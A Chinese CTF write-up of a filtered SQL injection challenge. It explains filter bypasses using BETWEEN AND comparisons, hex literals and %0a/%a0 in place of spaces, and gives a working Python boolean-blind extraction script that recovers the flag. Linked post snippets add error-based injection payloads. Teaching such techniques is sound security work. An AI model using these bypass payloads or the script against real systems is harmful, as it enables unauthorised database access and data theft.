emmm,这个题是个好题。本题考察sql注入。绕过方法是以前没有遇见过的。里面利用了betwee and 的特性。

尝试对其进行注入,发现明显的过滤。一旦关键字在黑名单里,就会有:这么坏?想让我下面给你吃吗?XD 的字样。

如果没有查到内容的话就返回:想让我下面给你吃?

通过测试一下发现过滤的关键字有:

' " + = union  , < > * 空格 sleep ^ mid ascii like regexp  information_schema.tables

(这是我发现的。这个名单并不全)

根据上面的名单我发现只能通过布尔盲注。

下面介绍一下between and 的知识点。

数据库名前两位:se

image

image

通过上两个图说明:当select的值在between之间就会返回1,而且前面选择出来的词语会按照顺序匹配,第一个匹配正确的话就会匹配第二个。可以通过一位一位来爆库。但是把数据库跑出来以后后面继续加上空格还是会显示1。

然后就能够写脚本了。写脚本的时候得注意一下,还有几点得注意下,单引号过滤掉可以使用16进制,另外information_schema.tables被过滤可以使用information_schema%0a.tables这样去绕过。

%a0和%0a都是代表空格。用来绕过空格的过滤。

最后,附上我的菜鸡脚本。

import requests as rq



url='http://58.87.124.66:4657/show.php?id='
flag=""
header={
    'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0'
}
# res=rq.get(url)
# print res.text
# exit()
c=""
for i in range(1,40):
    for a in range(33,128):
        b=str(hex(a))
        # id="if((select%a0database()%a0between%a00x"+c+b[2:4]+"%a0and%a00x7e),1,2)" #web
        # id="if((select%0a(select%0agroup_concat(table_name)%0afrom%0ainformation_schema%0a.tables%0awhere%0atable_schema%0abetween%0a0x776562%0aand%0a0x776562)%0abetween%0a0x"+c+b[2:4]+"%0aand%0a0x7a),1,2)" #ADMIN,FLAGGG,MENU 
        # id="if((select%a0(Select%a0group_concat(column_name)%a0from%a0information_schema%a0.columns%a0where%a0table_name%a0between%a00x464c41474747%a0and%a00x464c41474747)%a0between%a00x"+c+b[2:4]+"%0aand%0a0x7a),1,2)" #ID,F1AGG 
        id="if((select%0a(select%0af1agg%0afrom%0aflaggg)%0abetween%0a0x"+c+b[2:4]+"%0aand%0a0x7e),1,2)"
        # print id
        # params={'id':id}
        url1=url+id
        res=rq.get(url1)
        # print res.url
        # print res.text.encode('gbk')
        # exit()
        if "20" in res.text:
            c+=str(hex(a-1))[2:4]
            flag+=str(chr(a-1))
            print flag
            break
# FLAG{5D6352163C30BA51F1E2C0DD08622428} 

还有就是脚本中不能用rq.get(url,pars=pas)来个get传参。因为那用传参的话,python会自动自动进行url编码。会导致出现黑名单里的东西。

也可以把if(0,1,2)换成-1 or (语句)

对了,等号可以用in来绕过。

我的脚本有点问题。跑出来的都是大写,其实人家都是小写。(这个问题我不知道如何解决。哎,菜鸡的烦恼。。。)

  • 2019年上海嘉韦思杯writeup

    1土肥原贤二报错注入 1’ and updatexml(1,concat(0x7e,(database()),0x7e),1)# 然后注表1’ and updatexml(1,concat(0x7e,(select group_co...

    2019年上海嘉韦思杯writeup
  • ctf中web的常见知识点

    本地访问和伪造ipX-Forwarded-For: 127.0.0.1 域名解析可以更改HTTP头部host字段为flag.bugku.com 把 flag.bugku.com 解析到120.24.86.145 直接在 c:\wind...

    ctf中web的常见知识点
  • insert into 注入

    题目题目连接:http://123.206.87.240:8002/web15/题目提示: flag格式:flag{xxxxxxxxxxxx} 不如写个Python吧 error_reporting(0); function ge...

    insert into 注入
  • bugku中的前女友(SKCTF)

    知识储备strcmp()函数int strcmp ( string $str1 , string $str2 ) 说明 注意该比较区分大小写。 参数 str1 第一个字符串。 str2 第二个字符串。 返回值 strcmp二进制安全...

    bugku中的前女友(SKCTF)
  • bugku中的welcome to bugkuctf

    知识储备本地包含file_get_contents() 函数定义和用法 file_get_contents() 函数把整个文件读入一个字符串中。和 file() 一样,不同的是 file_get_contents() 把文件读入一个字...

    bugku中的welcome to bugkuctf
  • hctf2018web

    首先,来说说本次比赛吧。 没有学到百度的真谛。(什么漏洞百度几乎都有,遇到不会就百度。发现源码也可百度理解) 发现可测试的地方要通过各种手段进行尝试。 ctf题与真正的漏洞有差距。需要换种思维来考虑问题。 然后,就...

    hctf2018web
  • 护网杯签到题

    首先,护网杯对新手不友好。看题看到绝望!!!全程懵逼状态。好啦不吐槽啦。。。。 进入正题:迟来的签到题 首先从文件下载下来看着像base64.但通过base64解码工具解码出来 V_UPVSUSUQR^W_###QV'R...

    护网杯签到题
  • bugku备份是个好习惯

    本题提示备份: 首先,可以用御剑等工具进行扫描,发现存在备份泄露,然后可以进行index.php.bak。对原码进行下载分析。 <?php /** * Created by PhpStorm. * User: Nors...

    bugku备份是个好习惯
  • linux三剑客

    前言之前用一些脚本都经常用到grep,sed,awk。但是一直不太熟悉,今天来学习一下,做个备忘录。 grep格式: grep [OPTIONS] PATTERN [FILE...] grep [OPTIONS] [-e PATTER...

    linux三剑客
  • i春秋2020新春战“疫”网络安全公益赛 web Writeup

    前言这次比赛题目质量挺好的,除啦环境可能有时候有点问题。(就让我遇到了。心态炸了一天。。。)其他都挺好的。 DAY1简单的招聘系统知识点:sql注入的联合注入或盲注存在注册和登陆功能,首先进行注册后登陆进系统,发现有一个模块是管理员才...

    i春秋2020新春战“疫”网络安全公益赛 web Writeup